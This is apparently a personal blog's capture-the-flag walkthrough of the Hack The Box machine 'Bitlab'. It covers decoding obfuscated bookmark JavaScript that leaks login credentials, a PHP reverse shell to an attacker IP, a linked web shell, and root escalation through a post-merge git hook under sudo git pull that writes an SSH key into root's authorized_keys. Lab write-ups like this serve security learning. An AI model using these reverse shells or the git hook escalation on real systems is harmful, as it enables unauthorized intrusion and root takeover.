6 minutes
Hack The Box - Bitlab
Welcome to another Forest Hex hacking adventure! 🌲🏹
Today I will be hacking an HTB box named bitlab.
Let’s dive right in with a port scan, and as always, feel free to jump around.
- Port Scan
- Poking around the Web Server
- The Initial Foothold
- Escalating to Root
- Creating the Git Hook
Port Scan
Not a lot here, just a web server on port 80 and ssh on port 22. Time to poke around the server, I’ll load it up in ZAP’s proxy.
Poking around the Web Server
You can see how zap easily lets you dig into the framework of a web site. It’s running a local git repo which is a good place to look for credentials, or even exploits in source code.
I tried the default credentials but they didn’t work, so then I switched to finding an exploit for it. The first thing I needed was the version of gitlab. A stackoverflow answer said /help
would display this information.
I found something much different. It was a plain looking page with a link named Bookmarks
, and after clicking on it I go this:
They all go to outside links except for the last one:
javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()
That looks like obfuscated javascript. I went to jsnice.org
and got this:
'use strict';
javascript: {
(function() {
/** @type {!Array} */
var a = ["value", "user_login", "getElementById", "clave", "user_password", "11des0081x"];
document[a[2]](a[1])[a[0]] = a[3];
document[a[2]](a[4])[a[0]] = a[5];
})();
};
This can be made more clear like so:
document[getElementById](user_login)[value] = 'clave';
document[getElementById](user_password)[value] = '11des0081x';
I tested the login and sure enough it worked.
After poking around a bit I came across some credentials in a php snippet:
<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
This could be useful once I find a way to achieve code execution. For now I can’t access the sql server since the port isn’t exposed, and they don’t work as ssh creds.
The Initial Foothold
While I was looking around I started to gain a better understanding of what was happening. There are two projects: Profile
and Deployer
. Profile is a simple php page, and deployer contains a script which will automatically pull any merge requests to the master branch in Profile. The php file is hosted on the web server at /profile
, which I discovered by clicking on the settings link in the gitlab page.
This means I should be able to create a reverse shell by editing the php file. The web interface allows me to do it so I don’t even have to bother cloning the repo locally.
In fact, this is a rare chance to try out a php web shell, I’m going to use the one here: https://raw.githubusercontent.com/artyuum/Simple-PHP-Web-Shell/master/index.php
It worked like a charm:
It’s fun and all, but I truly prefer a terminal so I switched to this payload:
<?php
exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.6/44621 0>&1'");
After getting a netcat shell I upgraded it following this tutorial: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
I didn’t use socat, I used python and the method under the socat description to upgrade it to full TTY.
Escalating to Root
The deployer script looked promising:
<?php
$input = file_get_contents("php://input");
$payload = json_decode($input);
$repo = $payload->project->name ?? '';
$event = $payload->event_type ?? '';
$state = $payload->object_attributes->state ?? '';
$branch = $payload->object_attributes->target_branch ?? '';
if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged') {
echo shell_exec('cd ../profile/; sudo git pull'),"\n";
}
echo "OK\n";
The sudo git pull
command can be used to execute commands as root. I spent an extremely long time trying to think of a way to add a malicious git hook to the existing repo that would be pulled, but the two exploits I found were patched already.
If you’re curious: https://blog.developer.atlassian.com/securing-your-git-server/ https://github.blog/2018-10-05-git-submodule-vulnerability/
I read a lot more articles about them, and eventually realized the system is running 2.19.1
which has both of these patched. I was stuck for a while, even knowing I had passwordless sudo to use git pull
I just couldn’t make the connection. I reached out on discord for a nudge, all that was needed was a reminder of what I knew:
you only need to know that you can run sudo git pull as www-data
It hit me like a ton of bricks.. I could simply copy the existing git repo to another folder and add a githook. The passwordless sudo access doesn’t specify a folder so I can make a new one in /tmp and I will have the ability to create a new git hook.
git
itself is restricted, so I can’t just do a git init either.
Creating the Git Hook
I tested if I could simply copy the .git
folder and add a hook on my local machine, and had an issue with my powershell script. Apparently even in windows the githook still needs #!/bin/bash
. I tried that but ended up with an error:
New-Item : A positional parameter cannot be found that accepts argument 'is
Hm, something in my test string maybe. I changed the git hook to:
#!/bin/sh
exec powershell New-Item -Path 'C:\Users\Brian' -Name 'testfile1.txt' -ItemType 'file' -Value 'Test.'
That means I should be able to run a command as root with this process:
- Copy the .git folder of the profile into a new folder where
www-data
has write access. - Create a
post-merge
git hook that either spawns a local, or reverse shell. - Make an update to the profile repo with the web interface.
- Run
sudo git pull
in the folder of our copy.
The post-merge hook should then be invoked under sudo access, which will give us a root shell.
I copied the .git
folder to /tmp/fine/.git
and created a file under .git/hooks
named post-merge
:
#!/bin/sh
exec /bin/bash
Now all there is to to is to push an update and sudo git pull… Or I thought. It didn’t work, so I’m changing the post-merge to:
bash -i > /dev/tcp/10.10.14.6/44621 0>&1
Unfortunately that didn’t work either. I decided to simply have it write an SSH public key to the authorized_keys folder of root. First I checked /etc/passwd
to make sure root has a login, it does.
After that I checked /etc/ssh/sshd_config
to make sure I could log in with a public key. It does, and it looks in the normal place.
I generate a new key with ssh-keygen -t rsa
, chmod 600 id_rsa
to give it the right permissions for the SSH client, and copy the public key to the post-merge hook:
www-data@bitlab:/tmp/fine$ cat .git/hooks/post-merge
#!/bin/sh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBw9GB12s3G2XCXPLGbbf3wM9CAuwPcTWzZL/zzGaFkKY3uIe1sdc4nQ1Rsq9HyRIb6uhV3CDVy2Qqv55qt/VE8Uox/x5lm90Ct4YzeBHGDkethBZSOkIkEGNAPNCiPIDTI1ZZOERS26iJydYZMRb4Y5/qjt+Sc3tbMy4cAVQoHeUVnu8pwWYszZ4Sn3jKrrHaqgabzfM5hjzcb/6HvF0R+w/d/5VgN3TEz6zsIf7EPebv6fSiyinrM9SB/U5ZO3w5ft5uOzonrVgPIDWs+hgQzlqACmIVr0fx2rk2pfNTMqgp0r/XGMkyAjD6Ykwg1IXqgYENLSpgS9Q4JA/V9NK4t82uwf81+3ejp10CBRQuhUsVhzOoqeGHGk5fX1HaIQjwiTtPbYO7oL1TE+LenNWgSOH+p2FSdTleXaQmREZ4CUJdTAzTA8fvjb1A+BqlODl2wAcH2AMqUDo3Yt9/RCB8M38ocuwjsRvhYYYbNqbWwoZS5sQ+fGcpxWrYzJ9KOos= root@wks104" >> /root/.ssh/authorized_keys
cat /root/.ssh/authorized_keys
I had the post-merge output the keys just to see if mine was added, sure enough it was, which means:
ssh root@10.10.10.114 -i id_rsa
should get me in.
Awesome! Abusing git hooks for fun and profit! Until next time this is Brian G. signing off!